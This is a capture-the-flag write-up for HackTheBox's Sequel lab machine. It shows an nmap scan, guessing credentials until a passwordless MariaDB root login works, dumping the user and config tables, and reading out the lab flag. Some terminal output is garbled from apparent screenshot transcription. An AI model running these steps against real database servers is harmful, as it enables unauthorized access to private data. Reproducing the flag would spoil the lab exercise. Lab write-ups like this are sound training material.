# **Sequel Write-up**

#### Introduction

This CTF write-up focuses on exploiting HackTheBox's Sequel Machine. Using credential guessing, this CTF dives into taking advantage of the target machine's MySQL server.

#### **NMAP Scan**

First, we will scan the target machine in order to discover services running on the target machine using Nmap:

```
nmap -A -T5 10.129.82.231
```

replace '10.129.82.231' with the IP address assigned to your target machine.

```
Create issue) - [/home/samuet]
namp -A -T5 10.129.82.231
Starting Namp 7.945VW ( https://mamp.org ) at 2024-01-15 17:53 PST
Namp scan report for 10.129.82.231
Host is up (0.098s latency).
Not shown: 99 closed top ports (reset)
PORI STATE SERVICE VERSION
3306/(rop one mysql?
PORI STATE SERVICE VERSION
3306/(rop one mysql?
PORI STATE SERVICE VERSION
3106/(rop one my
       TRACEROUTE (using port 110/tcp)
HOP RTT ADDRESS
1 93.52 ms 10.10.14.1
2 93.90 ms 10.129.82.231
         S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
map done: 1 IP address (1 host up) scanned in 208.35 seconds
```

## Notable Findings:

• MYSQL open on port 3306/tcp

## **Brute Forcing MYSQL**

To log into a MySQL server, enter:

```
mysql -h 10.129.82.231 iu root -p
```

replace '10.129.82.231' with the IP address assigned to your target machine.

replace 'root' with the username you want to try logging in. Refer screenshot below

```
)-[/home/samuel]
    mysql -h 10.129.82.231 -u root -p
ERROR 1045 (28000): Access denied for user 'root'@'10.10.14.12' (using password: YES)
   -(root@samuel)-[/home/samuel]
| mysql -h 10.129.82.231 -u guest -p
ERROR 1045 (28000): Access denied for user 'guest'@'10.10.14.12' (using password: YES)
(root@samuel)-[/home/samuel]
# mysql -h 10.129.82.231 -u root
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 74
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
```

I tried logging in using credentials like *root/root*, guest/anonymous

Finally I was able to login to the MYSQL server with username 'root' and no password

```
mysql -h 10.129.82.231 -u root
```

1 Sequel Write-up

```
wysql -h 10.129.82.231 -u root
Welcome to the MariaDB monitor. Commands end with; or \g.
Your MariaDB connection id is 74
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
Database
  information_schema
  performance_schema
4 rows in set (0.098 sec)
MariaDB [(none)]> use htb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [htb]> show tables;
| Tables_in_htb |
2 rows in set (1.872 sec)
MariaDB [htb]> select * from users
| id | username | email
                      admin@sequel.htb
   1 | admin
  2 | lara
3 | sam
4 | mary
                      lara@sequel.htb
                      sam@sequel.htb
                    | mary@sequel.htb
4 rows in set (0.090 sec)
MariaDB [htb]> select * from config;
| id | name
                                    | value
```

After we login successfully into the MySQL server. try exploring the databases and the table to look discover sensitive information.

```
#list the databases
show databases;

#select the database you want to explore using command:
use htb;

#The enlist the tables in the database:
show tables;
```

```
Type 'help;' or 'h' for help. Type 'c' to clear the current input statement.
  Database
  mysql
performance_schema
4 rows in set (0.098 sec)
MariaDB [(none)]> use htb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [htb]> show tables;
 config
users
2 rows in set (1.872 sec)
MariaDB [htb]> select * from users
   1 | admin
2 | lara
3 | sam
4 | mary
                        admin@sequel.htb |
lara@sequel.htb |
sam@sequel.htb |
                      | mary@sequel.htb
4 rows in set (0.090 sec)
MariaDB [htb]> select * from config;
    1 | timeout
                                          default
false
       | security
| auto_logon
   4 | max_size
5 | flag
6 | enable_uploads
7 | authentication_
                                          2M
7b4bec00d1a39e3dd4e021ec3d915da8
```

To print the data that is stored in the table:

Sequel Write-up

2

select \* from config

finally we found the flag: 7b4bec00d1a39e3dd4e021ec3d915da8

Sequel Write-up

3